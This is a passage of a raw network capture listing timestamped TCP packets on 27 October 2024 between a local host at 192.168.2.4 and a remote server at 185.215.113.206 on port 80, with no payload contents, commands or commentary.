Oct 27, 2024 12:13:23.376177073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376188993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376228094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376271009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376276970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376384974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376410007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376416922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376465082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376471043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376482964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376496077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376528025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376579046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376584053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.376646042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376969099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377007961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377015114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377026081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.377054930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.377126932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377134085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377145052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377151012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.377186060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.377213001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.532954931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533031940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533056021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533068895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533081055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533081055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533101082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533106089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533128023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533154964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533185005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533196926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533231020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533245087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533291101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533354998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533368111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533399105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533422947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533430099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533441067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533452034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533463001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533495903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533495903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533508062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533538103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533550978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533582926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533621073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533664942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533678055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533709049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533723116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533772945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533785105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533795118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533807039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533818007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533824921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533838987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533881903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.533972025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533983946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.533993959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534015894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534049988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534074068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534116030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534132004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534142971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534174919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534192085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534249067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534260035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534287930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534317017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534317017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534329891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534341097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534351110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534383059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534477949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534490108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534499884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534512043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534522057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534549952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534805059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534852028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534852982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534866095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534892082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534912109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.534939051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534950018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534970045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534981966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.534981966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.535003901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.535041094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.535221100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.535232067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.535242081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.535278082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.535285950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.649965048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650063038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650403976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650422096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650441885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650460958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650465965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650471926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650482893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650494099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650501966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650512934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650523901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650533915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650544882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650556087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650559902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650571108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650580883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650589943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650594950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650624037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650650978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650681973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650733948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650760889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650772095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650811911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650831938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650851011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.650876045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.650914907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651026964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651057959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651067972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651098013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651119947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651124954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651129961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651155949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651180029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651385069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651396990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651407957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651439905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651468039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651499033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651510954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651520967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651531935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651547909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651587963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651623964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651674986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651698112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651715994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651726961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651737928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.651752949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651765108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.651808977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.652053118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652106047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.652112961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652123928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652162075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.652194023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652205944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652220011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.652240038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.652264118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.691446066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691468000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691483021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691494942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691504955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691515923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.691553116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.691622019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.694668055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.694714069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.694734097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.694785118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767062902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767126083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767131090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767144918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767175913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767204046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767230988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767241955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767251968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767266989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767294884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767299891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767311096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767327070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767337084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767380953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767410040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767421961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767457008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767473936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767515898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767543077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767554998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767585039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767608881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767612934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767631054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767652988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767673016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767745972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767788887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767819881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767832041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767863989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767889977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.767929077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.767963886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768007994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768033981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768045902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768074989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768091917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768106937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768117905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768147945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768213034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768224955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768234968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768255949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768275976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768345118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768357038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768367052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768388033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768436909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768613100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768657923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768662930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768675089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768706083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768721104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768738985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768750906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768784046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768800020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768882036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768903971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768914938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.768927097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768944025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.768963099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.769037008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769048929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769058943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769071102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769079924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.769121885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.769162893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769174099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769212008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.769401073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769440889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.769450903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.769493103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808159113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808176994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808192015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808228970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808253050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808264017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808298111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808326006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808336973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808372021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808396101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808439970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.808479071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808490992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.808522940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.811783075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.811801910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.811827898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.811857939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884170055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884224892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884242058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884253979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884264946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884275913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884290934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884314060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884326935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884340048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884373903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884378910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884424925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884432077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884443045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884479046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884490013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884542942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884573936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884584904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884608984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884618044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884618998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884659052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884695053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884742975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884746075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884753942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884780884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884799004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884862900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884915113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884917974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884927988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.884953976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884975910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.884991884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885004044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885035992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885128021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885170937 CET	49730	80	192.168.2.4	185.215.113.206
